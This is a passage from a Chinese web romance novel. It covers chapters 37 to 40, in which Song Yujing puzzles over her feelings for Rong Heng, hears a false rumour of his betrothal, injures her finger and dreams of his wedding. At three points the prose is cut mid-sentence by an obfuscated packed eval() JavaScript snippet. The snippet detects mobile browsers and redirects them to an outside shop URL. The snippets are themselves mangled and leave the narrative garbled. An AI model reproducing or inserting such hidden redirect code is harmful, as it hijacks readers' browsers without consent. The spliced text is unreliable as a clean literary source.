容珩盯着细小璀璨的桂花看了半晌,缓缓展开另外两副画卷,春日粉色桃花盛开,花瓣飞扬,夏日纯白睡莲静立,恬淡幽雅。 再看一眼秋日金桂,他忽然开口:“来人。” 守在屋外的小厮应声而进。 “去拿一面镜子。” 小厮惊讶地抬起头,呆呆地立在原地,许久都没有回话。 “怎么?”他卷起画,声音淡淡,“偌大的世子院,难道连面镜子都没有。” “小的知错,世子稍候,小的这就去找镜子。” 小厮匆忙行礼,快步往外走。 容珩将两幅画放进卷缸,重新抽了张新的画纸,挥笔落下,刚画出几粒桂花,屋里响起急匆匆的脚步声。 他没有抬头,“先放着吧。” 小厮恭敬地将镜子放到案上,“是,小的告退。” 画上两片绿叶后,容珩放下笔,从小匣子里取出一卷纸卷,缓缓展开,指尖抚过纸上的签诗。 宋予静还单纯地当他是朋友,没有别的心思,幸好她没有厌恶排斥他的靠近。 容珩不信神佛,此刻却虔诚祈祷签文所言非虚,他与她是天定姻缘。 他轻声一叹,重新卷好签文,放回匣子里,瞥见案上的铜镜,迟疑一瞬,最终还是拿起镜子,望着镜中的面容。 至少这副皮囊还算合她的意。 容珩缓缓勾起嘴角。 来日方长。 37. 不解 在外面闲逛闲吃了半天,宋予静一时半会儿还不饿,吩咐侍女去向庆阳长公主说了一声后,径直回到瑞雪居。 “姑娘。”冬雪禀道,“殿下让人送来一批新进的丝绸,说拿来裁春衣,您看裁成什么样式为好?” “先放着吧,我有空再看。”宋予静低头盯着右手,又揉按了一阵,叫住冬雪,“你过来一下。” 冬雪正准备离开里间,闻声,立即走回她的面前,恭声问:“姑娘,您有什么吩咐?” 她摇头,看了眼冬雪搭在腹部的双手,犹豫片刻,终于开口:“你伸出右手,然后盖在我的右手上。” 闻言,冬雪面露疑惑,但依她所说,如实照做。 冬雪年长她四岁,手也略大了一分,覆在她的手背,堪堪合握。 握的久了,渐渐生出暖意,但不会烫如炽焰。 她低头盯着两人的手看了半晌,率先收回手。 冬雪自不会多问,只说:“姑娘,奴婢去让人准备热水,小厨房的灶火还没熄,不如再用些晚膳?免得夜里饿。” “做点容易克化的,不用太麻烦了。” 冬雪应声而退。 简单地用过晚膳,又去沐浴后,宋予静上床歇息。 黑暗的帷帐中,她忍不住伸出左手,搭在右手背,略一用力,紧密贴合,依旧只感受到掌心浅淡的暖意。 左手一转,与右手十指相扣。 在临江楼里,她曾和他十指紧扣,为什么时候不会觉得热?而在他靠近握住她的手时,她会觉得发烫? 宋予静又以掌心摩挲手背,磨得生出一股热意,伴着困意慢慢上涌,她依旧未能想明白原因。 要不,她迷迷糊糊地想,明天再换个人试试。 * 宋予静装好六碟新鲜出炉的糕点,往食盒里放进一顶紫砂壶,想了想,又回里间拿起两盒墨锭,起身走向前院。 到了书房门口,她敲敲门,扬声问:“哥,我可以进来吗?” 得到兄长的应允后,她才走进去,在案几上放好食盒,“哥,我让人做了你喜欢的糕点。” 宋归鸿放下毛笔,在铜盆里洗干净手,走到她的对面落座,接连吃了两三块,又接住她端过来的茶碗。 “日铸雪芽?”他挑眉问,“这不是重阳的时候,外祖母单独赐给你的?怎么今天居然舍得拿出来?” “茶是拿来喝的嘛,哪有什么舍不舍得。”宋予静轻抿一口,“哥,你要是喜欢,我院子里还有。” “那我可就不客气了。” 宋归鸿笑着捏起一块糕点。 她咬住一块雪花酥,瞄向不远处的书案,问:“哥,你刚才是在练字还是在作画?” “写了几个字。”宋归鸿回答,“看了半天账册,随便写写。” 宋予静“哦”了一声,咽下嘴里的糕点,紧紧揪住衣袖口,时不时偷瞄一眼对面的兄长。 “说吧,找我有什么事。”宋归鸿放下茶杯,好整以暇地问,“你看你,都多大了,还跟个小孩子一样,吃了满桌子点心屑。” “我没有!” 她下意识反驳,一低头却瞧见案几上白白的一层碎屑,连忙擦干净。 对上兄长调笑的目光,宋予静犹豫半晌,终于开口:“哥,我想请你帮个忙。” “帮什么忙?先说好,干坏事千万别拉上我,比如你中秋鼓捣的那个什么莲藕月饼……” 宋归鸿停了一下,眉毛鼻子皱成一团,浑身一抖,似乎还对那次的奇怪口味心有余悸。 “没有。”她认真保证,“你放心,绝对不是坏事。” “行,你说说看,要我做什么。” 手指抚按过手背,宋予静咬了咬牙,下定决心,直接问:“哥哥,你能不能手把手地教我画画?” “哈?” 宋归鸿挑起半边眉毛,审视的目光在她身上来来回回。 “你在说什么?” “一句话,”她别开头,“你到底帮不帮这个忙。” “……帮当然可以帮。”宋归鸿缓声问,“但总得有个理由吧?” 宋予静绞住双手,都快拧成麻花了,只盯着地面不说话。 “当初阿爹给我们请的是同一批先生,你的丹青还比我好上几分,怎么忽然跑过来要我教你作画?” 宋归鸿顿了顿,补上后面的话:“还要手把手地教?” “……哥哥。”她飞快地看了兄长一眼,低声道,“你能别问了吗?大不了你别帮我这个忙了,就当我刚才什么都没说。” 宋归鸿定定地看了她半晌,一言不发地起身。 她叹了口气,伸手收拾好案几,把碟子装进食盒里,留下茶壶和墨锭。 “哥,我先回……” “过来。” 宋予静一愣,循着声音看过去。 宋归鸿站在书案后,撩起袖子磨墨,面前已经摆好一张崭新的画纸。 “过来。”他重复一遍,“还是说你不想学了?” “当然要学!”她连忙跑过去,“我就知道哥哥最好了,简直是天底下最好的兄长,英俊潇洒才华横溢忠肝义胆……” “行啦,别说了。”宋归鸿撇撇嘴,“你这说的都是些啥玩意儿?” 宋予静笑笑,在书案后站定。 宋归鸿退出位置,递给她一只羊毫,砚台里装着刚磨好的墨。 “你想画什么?” 她握紧笔杆,盯着面前的洒金宣纸,说:“画墨色的睡莲。” 宋归鸿不再多问,站在距离她半臂远的位置,再次卷好广袖,伸出手,盖在她的右手上。 “开始画了。” 宋予静应了声好,笔尖在纸上落墨,徐徐勾画,视线一转,落在握住自己的手。 兄长的手掌宽厚,掌心温暖。 在她年幼时,曾经抱着她跨过高高的门槛,一同奔向父母的怀抱;也曾轻轻拍着她的手心,温柔地安慰被话本里鬼怪吓到的她;更曾牵着她从学堂偷偷溜走,替她挨过父母的责罚。 她觉得很安心。 “你看画成这样,行吗?”宋归鸿的声音停了一下,略微提高声量,“回神了!” “什么?” 宋予静一惊,低头看着面前的墨莲,含苞待放,栩栩如生。 她几乎没有出力,都是在宋归鸿在画, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127538|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她语气真诚地赞美:“哥哥,你还谦虚说自己丹青不好,明明画的很漂亮。” “眼光不错。”宋归鸿轻哼了声,“还要继续学吗?” “不了。”她摇头,在笔洗里洗干净毛笔,挂在笔架,看见案上的账册,“哥,要不要我帮忙看账册?” 宋归鸿直接拿起一沓账册放到她面前,“今年年景好,风调雨顺,收成比去年好,农庄里的事情也更多了。” “那我这两天都来帮忙。” 看了一上午的账册,还陪着宋归鸿一起用过了午膳,宋予静这才回到瑞雪居。 还没到院子门口,她远远地便看见两名小厮抬着一个水缸走出来,冬雪紧随其后,似乎还在向小厮说些什么。 “你们这是做什么?”她走上前,“换水缸?” “姑娘。”冬雪指着水缸边缘的一道裂口,“这是您拿来养青鱼的水缸,不小心被丫鬟撞碎了,奴婢便吩咐他们抬走,再换个新水缸。” 宋予静立即问:“人没事吧?” “没事,她们打算搬开缸里的石头,清理掉枯死的水草,一时失手,正好砸在边上了。” “人没事就好。”她往里走,“还是换成跟之前一样的水缸。” “是。” 院子里,两名侍女围着一个装满水的木盆,洒了一小把鱼饵进去。 宋予静走近,蹲在盆边。 这尾青鱼养了三个多月,最开始一只手就能轻松握住,现在已经长过手掌,要两只手才能稳稳抓住。 青鱼在盆里摇尾游动,她伸手戳戳鱼头,惹得青鱼游得更快,又在掌心捧起一点水,稍稍倾斜,清水往下滴落,叮咚一声,溅起小小的水花。 水面飘着两三片枯黄的睡莲叶,她抓起,指尖用力一捻,枯叶破碎,飘洒在水面。 “姑娘。” 冬雪回来了,两名抬着新水缸的小厮跟在后面。 “该换水了。” 宋予静起身,退开两步,拿手帕擦干手上的水珠,吩咐侍女仍像以往那样照看青鱼,随即走进书房。 她在书案上铺好画纸,拿起毛笔,挥毫泼墨,鱼戏莲间跃然纸上。 为什么会不一样? 为什么容珩握住她的手时,她会脸红心跳,慌乱不已,而兄长握住时,她的心跳很平稳,不如心如擂鼓。 明明七夕的时候,相似情景之下,她还不会这样。 宋予静揉了揉脸颊。 找宋归鸿尝试模仿相同的动作后,她心里的疑惑非但没有解开,反而更加迷茫。 她一连想了两三天,依旧想不出原因。 白日里要帮忙看账册,暂时分出她一些心神,夜里却辗转反侧,久思不得其解。 直至收到容珩邀约的信笺,宋予静犹豫半天,最终还是回信,答应赴约。 到了赴约的那天,她看见容珩站在槐树下,白玉发冠两侧垂下红缨流苏,和往常一样的白衣胜雪,走近后,银色华丽的暗纹若隐若现。 清雅贵气,俊美无俦。 宋予静脚步一顿。 是她的错觉吗? 为什么她觉得容珩今天似乎比以往更好看? 38. 惊闻 “你今天怎么……”宋予静卡了一下,思索片刻,改换成含蓄点的说法,“如此盛装打扮?” “没有吧?”容珩抬起衣袖看了看,“我还是穿的和往常一样。” 她多看了几眼。 “难道说我今日看上去很丑?”容珩疑问,“这身打扮很丑?” 宋予静惊了,他怎么能够如此坦然地睁眼说瞎话,丑这个字压根就和他不搭边。 “没有,很好看。”她给出肯定的答复,尽力控制目光不要凝在他的脸上,转移话题,“你在信上说想让我陪你去玉石铺子,是最近又打算做扇坠吗?” “暂时还没确定做什么,我想先去挑选玉石。” “嗯,那我们走吧。” 之前与他一起挑选过玉石,也讲过要点,见他在伙计的陪同下,熟练地观察挑选,宋予静不再多插嘴,在铺子里随意闲逛。 “姑娘。”店里的伙计迎上来,“您要是不喜欢看那些玉石,咱这儿还有雕琢好的美玉,您长得如此漂亮,但少了首饰装扮,打几件玉簪、玉镯、玉耳坠,保证您是人群里最亮眼的一个……” 这伙计可真能说。 宋予静一下子没能阻止,也没有打断,毕竟这是对方的差事。 趁着对方歇口气的工夫,她捏捏光秃秃的耳垂,说:“带我去看看。” 伙计立即应声:“哎,姑娘,请往这边走。” 铺子占地宽阔,左边摆着各样未经雕琢的玉石,右边则摆着各色的玉,青白黄绿,琳琅满目,还有一些制成了首饰,样式看着还不错。 一名女伙计快走过来,开始介绍柜面上的美玉首饰。 “姑娘,您看看这青玉,您的肤色白皙,打一对青玉耳坠,垂在耳侧,保准显得您更白了……” 宋予静不缺首饰,只是嫌麻烦,除了出席宫宴、重要宴会外,她习惯随意地拿根簪子扎起头发,极少佩戴耳坠、手镯。 现在听女伙计说了半天,她看了眼面前的耳坠,依旧笑着拒绝:“不了,这些首饰都很好,只是不适合我。” 女伙计秉持良好的素质,没有任何不厌烦,依旧笑容满面。 “哎呀,没能入姑娘的眼,看来我们这店里的玉石、首饰做得不够好,姑娘下次再来,保证您能挑到合心意的。” 宋予静忍俊不禁,瞧见容珩似乎还在挑选玉石,走过去问:“选的怎么样了?” “还没有选好。”容珩指着面前的两块玉石,“我在想选哪块更好。” 她仔细观察一番,委婉道:“你今天带了多少银子?” “不是这个原因。”容珩听出她的弦外之音,无奈地笑笑,“我只是想选一块最适合的。” 宋予静摸摸鼻尖,低头不语,又听见他问:“你喜欢哪一块?” “嗯?”她心念一动,捻紧指尖,反问道,“为什么要问我喜不喜欢?” “在挑选玉石上,你比我有经验。”容珩温声回答,“我想,你肯定能挑到最好的玉石。” 他只是单纯地在询问她的意见,没有任何深意,应该是她想多了。 宋予静压下心里莫名出现的异样,再次认真看过两块玉石,指着左边块独山玉。 “两块的材质不相上下,如果是我的话,会选这块,虽然不是最佳的碧绿色,但纯白色也不错,大约能做成透水白玉。” 她刚说完,容珩立即开口:“麻烦将这块独山玉装好。” 伙计笑着应声,又问:“公子,要不要我们送到贵府?” “不用。” 等着伙计结账装玉石的工夫,又有两人携手走进铺子里。 宋予静定睛一看,居然还是熟人。 “徐姐姐。”她笑着打招呼,“你也是来买玉的吗?” 徐婉柔声回答:“夫君陪我出来走走,瞧见这家玉石铺子,就说进来看看。” 宋予静看向站在徐婉旁边的男子,客气地同对方见礼,随后不再多看对方一眼。 “宋妹妹,你来这里……”话未说完,徐婉看见走过来的容珩,先行问候,“见过容公子。” 容珩礼仪周全地致意,同徐婉的丈夫寒暄两句后,站在宋予静的身边,不再多说。 对上徐婉疑惑不解的目光,宋予静挠挠手心,解释道:“我在帮容公子挑选玉石。” “原来如此。” “我们已经选好了,就先走了。”她不想打扰这对新婚夫妇,“徐姐姐,你们慢慢选,这家店里的玉石都还不错。” 徐婉笑着应好。 离开铺子,见容珩手里还提着锦盒,宋予静问:“你要一直提着这个?” 容珩摇头,直接将锦盒交给守在铺外的小厮,吩咐他拿回国公府,解释道:“我提前让人来这里等。” 她“哦”了一声,问:“接下来去哪里?” “都可以,随你喜欢。”他顿了顿,状似不经意地问,“你最近还会去平远侯府吗?” “重阳节前跟母亲去过一次,我现在就算要去找徐姐姐,也应该去光禄寺少卿的府邸。” 宋予静看见临街的食肆,抬手一指:“先去买点芝麻糖。” 芝麻糖香软,有些黏牙,吃起来香甜,她一口气吃了两块,心情渐渐好起来,将困扰了几天的疑惑抛到脑后,拉着容珩四处闲逛。 逛着逛着,便逛到清水桥附近,桥上行人匆匆往来,不似七夕时的摩肩接踵。 她缓步走上石拱桥,停在桥中间,俯视下方波光粼粼的清水河。 已是暮秋,天气一日凉过一日,她今日起得早,院子里的石榴树挂满露珠,再过不久,将会凝结一层白霜。 宋予静扶住桥栏,看着水面中间那片枯黄落叶,顺着水流,缓缓流向前方,视线又从水面移到旁边的容珩身上。 秋日天空瓦蓝澄净,金色阳光倾洒,照在他完美的侧脸。 她盯了一会儿,耳尖莫名生出点热意,迅速偏移视线,停在他捧着油纸包的手,先前被压下去的疑惑再次浮现在脑海里。 为什么会不一样? 宋予静盯着他的手,忽然移至眼前,油纸包里果脯的香气扑鼻,容珩清润含笑的声音随之响起。 “想吃的话,直接说就好了。” 她愣愣地抬头。 “嗯?你想吃这个?”他拿起一块扁圆的果脯,递到她的唇边,“这是拿蜜枣做的,比较甜一些。” 她盯着他的手,深吸一口气,接住果脯,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150372|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“多谢。” “为什么要道谢?”容珩轻声反问,“我记得你说过,你我之间,不必轻易言谢。” 宋予静胡乱地“嗯”了一声,转头盯着水面,一言不发。 “你今日的话很少。”容珩走近两步,眉间轻蹙,“脸上还有几分倦色,近来夜里睡得安稳吗?” 不安稳,总是快到四更才睡着,她暗暗腹诽,面上却笑道:“还好,就是感觉有点累了。” “那我们去临江楼?或者就近找家食肆酒楼?”容珩问,“快到用午膳的时候了。” “不了。”宋予静摇头拒绝,“我想回家了。” 容珩微微一怔,定定地看了她半晌,缓缓笑道:“好,我送你回去。” 回到公主府,她向容珩道别,没有像以往那样目送他离开,径直低头走进府门。 原本以为今日赴约能解开她心中的疑惑,可与他待了半天,她仍然没有得出答案。 “姑娘?您早上出门的时候,不是说午间不回来吗?” 冬雪惊讶的声音拉回她的思绪,宋予静随口回答:“没什么事就回来了。” 冬雪应声,又说:“姑娘,您稍等两刻钟,奴婢吩咐人去准备午膳。” “好。” 宋予静独自临窗而坐,望着窗外的石榴树。 或许真的是她想太多了,只是那时候不习惯容珩突然靠太近了。 自顾自地找出说服自己的理由,她浑身一松,主动给容珩写信,邀他有空的话,一起外出游玩。 容珩的回信自然是答应。 一连游玩了两天,宋予静玩得很开心,抱着锦盒走进正院,院子里站着六七名内侍和禁军,恭敬地行礼后,又垂首站定。 她心中隐约有了猜测,刚走进屋内,便听见一声高亢的“表姐”。 “殿下,”她看着一身常服的三皇子,“您今日来做什么?” “快到霜降了,父皇派人送一些节气礼给姑母。”三皇子摇头晃脑,拍拍胸脯,“我就向父皇讨了这件差事,亲自出宫送过来,顺便拜访姑母和姑父。” 这样的情况不算少,皇帝都应允了,每次也有禁军和内侍随行保护三皇子。 宋予静见怪不怪,坐在三皇子对面,问:“母亲呢?” “姑母去库房了,好像是去安排节礼怎么放。”三皇子盯着她手里的食盒,“表姐,你又买了什么好吃的?” 她无奈地打开食盒,端出里面的糕点。 三皇子双眼一亮,毫不客气地拿起一块就往嘴里塞。 “慢点吃,没人跟您抢。” 宋予静端起茶杯放到他的面前,吩咐侍女再上两盏茶,听三皇子说起宫里的趣事。 听到三皇子提及容珩,她想起容珩之前的异样,不由问:“容世子上旬都在忙什么?太子殿下给他安排了很多差事吗?” “没有吧,最近文华殿里又不忙。” “是吗?” 宋予静伸手去端托盘里的茶杯,忽然听见三皇子恍然大悟的声音:“哦,对了,母后在帮容世子相看贵女,或许他是在忙着议婚!” “哐啷!” 茶杯掉落在地,摔得粉碎,滚烫的茶水四溅。 39. 惊梦 容珩在议婚? 宋予静眨眨眼睛,耳边似乎传来三皇子疑惑担忧的声音,远得像在天边,丝毫听不清他在说什么。 她捻了捻指尖,上面被烫出红印,如果擦用容珩送的药膏,红印会很快消退,看不出受伤的痕迹。 茶水在地面泼出深色水痕,茶杯碎片散落,今日用的是汝窑白瓷,洁白如玉。 她怔怔地弯腰,去捡视野里的碎裂白玉。 “表姐!你在干什么?!” 三皇子惊讶的声音乍响,指尖传来一阵尖锐刺痛,拉回她缥缈的思绪。 “我……没事。” 宋予静松开手,瓷片掉落,摔在坚实地面,破碎成屑,鲜红色的血滴落,在洁白的瓷屑染上刺眼的艳红。 屋里的侍女乱做一团,有的急忙拿巾帕捂住她的手指,有的匆匆跑去屋外拿扫帚,还有三皇子急吼吼地叫人去叫太医。 “冷静。” 她沉下声音,在告诉其他人,也在告诉自己,深吸一口气,扫视屋内,起身换了位置。 “你们三个去扫茶杯碎片,小心些,别伤到了手,一定要清扫干净。” 侍女们不再乱跑,应道:“是。” 宋予静用力捂住手指,看向站在屋里手足无措的三皇子,说:“殿下,烦请到这边安坐。” 三皇子连忙走过来,神色担忧,“表姐,你放心,太医很快就到。” 她道了声谢,白色的巾帕捂得久了,血迹点点,她拧眉换了张新的帕子,裹紧手指,继续吩咐:“端盆清水进来,再去拿药膏和纱布。” 侍女领命离开。 有条不紊地安排好屋里侍女该做什么后,宋予静靠在椅背,盯着自己的手。 “怎么回事?!” 闻声,她立即站起来,看向刚走进屋的庆阳长公主,笑着回答:“没事,娘,就是我不小心摔了茶杯。” “你受伤了?”庆阳长公主两步跨到她的面前,托住她的手,“怎么弄的?为什么不赶紧包扎,就用帕子包着?来人!” “阿娘,您放心。”宋予静摆手让侍女退下,“我已经让人去拿包扎伤口的东西了。” 庆阳长公主眉头紧锁:“是不是很痛?” “不痛。”她笑着伸出另一只手,拇指和食指比了一小道缝隙,“只在被割到的时候,有一点点痛。” “殿下,姑娘,清水来了。”秋叶亲自端着铜盆,放在架子上,“下午烧开的,现在已经冷了。” 宋予静解开帕子,食指指腹凝结深红色血迹,幸好不再流血,她将手伸进盆里,轻轻擦拭上面的血迹,清澈见底的水逐渐泛红。 帕子擦过伤口时,仍有轻微的刺痛。 但瞥见庆阳长公主关心紧张的神情,她故作轻松地笑起来,不忘宽慰母亲:“娘,没事,就是指腹破了道小口子,看上去有点严重而已。” 庆阳长公主盯着她的手,嘴唇微张,还没来得及开口说话,屋外的侍女高声禀道:“太医来了!” “快进来!”三皇子一把揪住太医,提溜到宋予静面前,“快给表姐治伤!” 太医连礼都来不及行,瞧见神色凝肃的庆阳长公主和三皇子,急忙打开药箱,从里面取出干净的白纱布。 随行的医女接过纱布,拿巾帕替宋予静擦干净手上的水,握住一个白色小瓷瓶,说:“县主,可能会疼,您可以直接告诉臣。” 她点点头。 褐色的药粉撒在伤口,一瞬间泛起灼热的刺痛,她下意识皱眉,转瞬舒展。 医女迅速撒好药粉,纱布在指尖绕了几圈,结结实实地包扎好,随即退到一旁。 太医上前把脉,得出脉象平稳无恙的结论,细心叮嘱一番后,和医女一起告辞离开。 “娘,您看,太医都说没事。”宋予静轻松开口,“五六天就能痊愈了。” “接下来的日子,你的饮食要清淡,少食辛辣。”庆阳长公主顿了顿,吩咐道,“让人去瑞雪居说一声,姑娘近来的饮食起居要打起十二分的精神。” 她笑了笑,没有阻止,再去看三皇子,见他皱眉盯着自己的手,少不得又宽慰几句。 伤势不严重,三皇子被她说得重新笑起来。 三皇子不能在宫外过夜,待到申时末,便起身告辞,领着内侍和禁军回宫。 还未到宫门,看见迎面走来的人,他唤道:“容世子。” “见过殿下。”容珩恭敬地行礼,往周围一看,“殿下这是刚从长公主府回来?” 三皇子点头,简单提了下去公主府的原因,皱眉叹道:“可惜表姐受伤了……” “宋姑娘受伤了?!”容珩急声反问,不复之前的耐心倾听,“哪里受伤?严重吗?请了太医吗?现在伤势如何?” 三皇子一愣,老实讲完事情经过,满脸好奇地问:“你为什么如此紧张表姐的伤势?” 得知宋予静伤的不重,容珩暂时放下一半的心,对上三皇子探究的目光,微笑道:“之前在郊外得宜宁县主相助,到长公主府的别院躲避大雨,殿下与学士古道热肠,我便多问几句。” “哦。”三皇子没有追问,挠挠头,拉着他走到旁边,压低声音问,“之前母后在帮你议婚,你有没有看中哪家的贵女?” “议婚?”容珩疑声反问,“殿下何出此言?皇后娘娘何时在为臣议婚?” “诶?可是我之前明明看见母后拿了好多贵女的画册,给大哥还有你一起看。” 容珩仔细回想一番,确有此事。 “殿下,娘娘确实在替人相看,但不是在为臣。”他看了眼毫无察觉的三皇子,“娘娘是在为您相看皇子妃。” “啥?!” 三皇子差点没跳起来,指着自个儿的鼻子,“母后在给我议婚?!” 容珩颔首。 “母后怎么突然想起给我议婚了?我还想再玩几年……” 三皇子来回走个不停,嘴里不停哀叹,忽然一顿,猛拍掌心。 “完了!我还信誓旦旦地跟表姐说,母后是在给你议婚,表姐不会以为我是撒谎吧?” 容珩一怔,立即追问。 听到宋予静是在得知皇后为他“议婚”后,才失手打翻茶杯,还不知为何会去捡碎片,被割破手指,他愣在原地。 容珩闭了闭眼,沉下声音:“殿下,往后这些捕风捉影的消息,还请您不要到处乱说。” 三皇子乖乖应声:“我知道了。” “时候不早了,您该尽快回宫了。” 说完,容珩朝三皇子行礼告退,脚步飞快地赶回国公府,挥笔迅速写下一封信,令人急速送往公主府。 * 晚上宋学士和宋归鸿回来,一看见她包得严严实实的手指,连声询问,关怀备至。 宋予静只能温声安慰父兄。 伤势不严重,只因伤在右手,行动间不免有些不方便。 宋归鸿一边冷着脸说她多大个人了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177945|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还傻乎乎地去捡碎瓷片,一边认真帮她剔掉鱼刺,细心地夹一些方便用勺子吃的菜到她碗里。 宋予静不敢反驳,乖巧地全都应下来。 虽然左手用得不太顺,但好歹晚膳还是顺利吃饱了。 回到瑞雪居,她拒绝冬雪等人大张旗鼓的帮忙,沐浴后便上床歇息。 父母兄长只关心她的伤势,全都没有问她为什么。 家人体贴地没有问原因,她却不得不问自己一句为什么。 为什么听到容珩正在议婚,她的心口会突然一阵闷痛,闷得她没有察觉到茶碗的滚烫,直直地端在手里,等到指尖再受不住烫,失手打翻。 宋予静虚虚地握住右手食指。 指尖伤口浅而短,药效发挥得不错,止血止疼,可她恍惚觉得指尖再度刺痛不已,潮水般的痛感沿着手臂,一路蔓延至心尖。 她用力揉按心口,望着帐顶。 不知望了多久,久到困意慢慢涌上来,眼皮沉重,慢慢垂下。 对了,容珩好像派人送了信,她迷迷糊糊地想,明天早上一定要记得看信。 …… 阳春三月,百花盛开,桃花林中,粉色花瓣纷纷扬扬,绚丽夺目。 宋予静捏住一枝桃花,在林间漫无目的地闲逛,忽然看见站在桃花树下的身影。 白衣黑发,清雅端方。 她心中一喜,连忙跑过去。 “容公子!”她脆声唤道,“好巧,你怎么也在这里?” “宜宁县主。”容珩往后退了一步,朝她拱手作揖,又从袖子里掏出一份请柬,放到她的面前,“县主。” 他一口一句县主,恪守礼仪规矩到了极致。 宋予静压住心口的烦闷,紧盯着请柬上的大红色,没有接,哑声问:“这是什么?” “在下婚宴的请柬。”容珩客气地回答,“县主若是有空,还请到舍下赴宴。” “我……” 不等她开口,容珩客套地拱手,“在下告辞。” “别走!” 宋予静立马去拉他的衣袖,刚碰到衣角,容珩猛地推开她,目光冷若寒冰:“县主请自重。” 她往后踉跄几步,看清他眼中冷厉疏离,慢慢收回手,指甲深深陷入掌心,“我想知道你要……” “娶”字仿佛一块灼热的烙铁,堵在喉咙里,疼得她完全说不出来。 容珩不再理会她,转身径直离开。 一名少女不知从哪里冒出来,身姿窈窕,一袭银红色衣裳娇俏,面容却隔着层蒙蒙白雾,完全看不清。 容珩揽住少女,眼中寒冰化作潺潺春水,温柔体贴,隐约听见说要为她做一盏漂亮花灯。 宋予静眼眶一酸,视野里泛起蒙蒙水雾,容珩的身影越来越远,模糊不见。 周围粉色云霞飘扬,汇聚成团,渐渐变成醒目的大红色。 四周张灯结彩,热闹喜庆,来来往往的人们满脸笑容。 她呆立在原地,被宾客裹挟着往前走,走进新室。 容珩一身华贵大红色婚服,脸上是她从未见过的璀璨笑容,而他的面前坐着一名同样身着大红色婚服的新娘。 放眼望去,皆是刺眼的红色。 心口刺痛不已,眼前水光更浓,宋予静不敢眨眼,直盯着容珩,看着他手持一柄玉如意,勾住大红色盖头。 盖头一点点地被掀开,露出一张明媚俏丽的脸。 与她长得一模一样。 40. 认清 宋予静猛地睁开眼睛。 帐子内昏暗不明,四周静谧,针落可闻,心扑通扑通地猛跳个不停,恍若擂鼓作响。 她拥着锦被坐起来,摸摸脸颊脖子,凉爽转冷的夜里,竟然摸到一股汗水黏湿。 她按住心口,不停抚按。 待气息稳定些许后,她掀开帐帘,披上外袍,点起一盏小灯,走到小案边,晃了晃桌上茶壶,还有半壶冷茶。 她足足倒满一杯,一口气全部喝完。 一杯冷茶下肚,浑身热意终于被压下两三分,她又拿空茶杯贴在脸颊。 瓷杯冰冷,脸颊烫如火焰,冷热相交,她浑身一抖。 怎么……怎么会做如此诡异的梦? 宋予静用力揉搓脸颊,试图揉掉那股热意。 但越揉越热,脑海里还蓦然浮现容珩穿着大红色婚服的身影,眉眼含笑,姿容昳丽,却如松间明月,清峻疏朗。 热意再次涌上来,她连忙又灌了一杯冷茶。 往日里他常穿浅色衣裳,何曾穿过那样纯正的大红色。 宋予静放下茶杯,走到窗边,半支起窗户。 夜风裹着寒意,迎面吹进来,拂过鬓边松散的长发,驱散几分热意。 她勾起碎发,挽至耳后,临窗而坐,望向夜空。 夜幕深浓,几缕暗色云朵飘荡,遮住挂在夜空的半轮残月,撒向大地的月光不似中秋般皎洁透亮。 一阵夜风刮过,吹得院子里的石榴树簌簌作响,日渐枯黄的叶子纷纷坠落,枝干光秃,在地面投下枯瘦枝影。 宋予静伸出手,夜风阵阵,蕴着秋日里的湿意,掌心生出冷意。 她轻拍脸颊,热意稍退,起身拿起容珩送来的信。 摸着很薄,估计也就一两张纸,或许写了他近来碰到的趣事,说不定还会邀她外出游玩,又或者会问哪家贵女更好。 她倏地攥紧信封,捏出几道深痕。 该来的总是还会来的。 宋予静浅浅地呼出一口浊气,缓慢撕开封口,抽出里面薄薄两张笺纸。 纸上内容很简单,开篇就是问她伤势如何,是否严重,中间则提及皇后最近是在为三皇子议婚,认真叮嘱她最近切莫饮酒,连桂酿也不能多饮。 末了,他体贴地写到她不便回信,派人去国公府传个口信即可,若是得空,且没有觉得不适的话,可否见上一面。 他为何那么快就知道她受伤的事情了? 瞥见纸上的三皇子几个字,宋予静暗自猜测,大约从三皇子那里听到的。 那……要去见他吗? 她闭上眼睛,梦中情景犹在眼前,不停变换,最后停在容珩冷若寒冰的目光。 * 第二天醒来,宋予静揉着酸涨的太阳穴,昨夜半梦半醒,完全没有怎么睡,再看看铜镜里的自己,脸上浓浓倦色,即使用脂粉也难以掩盖。 她叹了口气,派人去国公府传信,说她这两日不方便外出。 容珩的回信很快就到了,一起送来的还有几件新奇可爱的小玩具。 宋予静看着笺纸,单手勾起一个玉钩,放在掌心里把玩。 虽不能出门,但容珩每日都写信来,在信中仔细向她讲述京城里的变化。 